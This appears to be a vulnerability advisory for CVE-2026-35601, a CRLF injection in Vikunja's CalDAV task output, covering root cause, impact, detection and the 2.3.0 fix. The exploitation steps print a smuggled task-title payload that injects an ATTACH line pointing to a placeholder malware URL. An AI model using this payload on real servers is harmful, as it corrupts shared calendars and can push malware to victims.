CVE-2026-35601: 
NixOS vulnerability analysis and mitigation

CVE-2026-35601 is an iCalendar Property Injection vulnerability via CRLF sequences in Vikunja's CalDAV task output. The CalDAV output generator in Vikunja builds iCalendar VTODO entries through raw string concatenation without applying RFC 5545 TEXT value escaping, allowing authenticated users to inject arbitrary iCalendar properties by embedding CRLF characters in task titles. All versions up to and including 2.2.2 are affected; the vulnerability was disclosed on April 9–10, 2026, and fixed in version 2.3.0. It carries a CVSS v3.1 base score of 4.1 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-93 (Improper Neutralization of CRLF Sequences), specifically in the ParseTodos function at pkg/caldav/caldav.go:146, where the task summary is concatenated directly into iCalendar output as SUMMARY: + t.Summary without any escaping. RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, but none of these rules are applied to Summary, Categories, UID, project name, or alarm Description fields. Because Go's JSON decoder preserves literal CR/LF bytes in string values, task titles created via the REST API retain CRLF characters, which break the SUMMARY property boundary when served via CalDAV, causing subsequent text to be parsed as independent iCalendar properties. Exploitation requires an authenticated user with write access to a project and a victim who syncs via CalDAV, with a public proof-of-concept Python script available (GitHub Advisory, Fix PR).

An authenticated attacker with write access to a shared project can inject arbitrary iCalendar properties into VTODO entries that are then parsed by CalDAV clients of other users who sync the calendar. Concrete attack scenarios include injecting malicious ATTACH URLs that clients may auto-download, creating fake VALARM alarm notifications for social engineering, and spoofing organizer identity via ORGANIZER property injection. There is no direct confidentiality or availability impact, but the integrity of calendar data for all users syncing the affected project is compromised (GitHub Advisory).

A public proof-of-concept Python script is available in the GitHub Security Advisory, demonstrating the full attack flow against Vikunja v2.2.2 by creating a task with a CRLF-injected title via the REST API and fetching the resulting iCalendar output via CalDAV. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.028% (0.000280), indicating low probability of near-term exploitation (GitHub Advisory).

1. Authenticate: Obtain a valid Vikunja account with write access to a shared project. Authenticate via the REST API to retrieve a bearer token: POST /api/v1/login with valid credentials.
2. Create a malicious task: Submit a PUT /api/v1/projects/{project_id}/tasks request with a task title containing CRLF-injected iCalendar properties, e.g., "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned".
3. Ensure task has a UID: The task UID is normally set during CalDAV sync. For the PoC, this can be set directly in the database: sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task_id};".
4. Victim syncs via CalDAV: When another user (or the attacker) fetches the task via CalDAV (GET /dav/projects/{project_id}/{TASK_UID}.ics), the response contains the injected properties as valid iCalendar lines (e.g., ATTACH:https://evil.com/malware.exe and X-INJECTED:pwned appear as separate properties).
5. CalDAV client processes injected properties: The victim's CalDAV client parses the injected ATTACH, VALARM, or ORGANIZER properties as legitimate calendar data, potentially auto-downloading attachments, displaying fake alarms, or spoofing organizer identity (GitHub Advisory).

• Network: Unusual PUT requests to /api/v1/projects/{id}/tasks containing URL-encoded or raw %0D%0A (CRLF) sequences in the title field; CalDAV GET requests to /dav/projects/ endpoints fetching .ics files shortly after task creation.
• Logs: Vikunja API access logs showing task creation with titles containing literal carriage return/line feed characters or their encoded equivalents; CalDAV access logs showing .ics file fetches for tasks with suspicious titles.
• File System / Database: Tasks in the Vikunja database (tasks table) with title values containing \r\n sequences followed by iCalendar property names such as ATTACH:, VALARM, ORGANIZER:, or X- custom properties.
• CalDAV Client Behavior: Unexpected calendar attachments, alarm notifications, or organizer spoofing appearing in CalDAV-synced calendar clients without corresponding legitimate task updates (GitHub Advisory).

Upgrade Vikunja to version 2.3.0 or later, which introduces escapeICalText implementing RFC 5545 §3.3.11 TEXT escaping (backslash, CR/LF, semicolon, comma) applied to all user-controlled fields including Summary, UID, Categories, alarm Description, organizer usernames, and relation UIDs. The fix also hardens getCaldavColor to strip non-hex characters before interpolation. As a temporary workaround until patching is possible, restrict access to CalDAV functionality or audit task titles in the database for suspicious CRLF sequences (\r\n followed by iCalendar property names) (GitHub Advisory, Fix PR, v2.3.0 Release).

The vulnerability was discovered and reported by aisafe.io and credited to researcher adrgs. The Vikunja maintainer (kolaente) merged the fix on April 9, 2026, the same day it was reported, and released version 2.3.0 with 11 security fixes total. The release notes explicitly recommend updating soon. No significant broader media coverage or social media discussion has been identified beyond the GitHub advisory and standard vulnerability database entries (GitHub Advisory, v2.3.0 Release).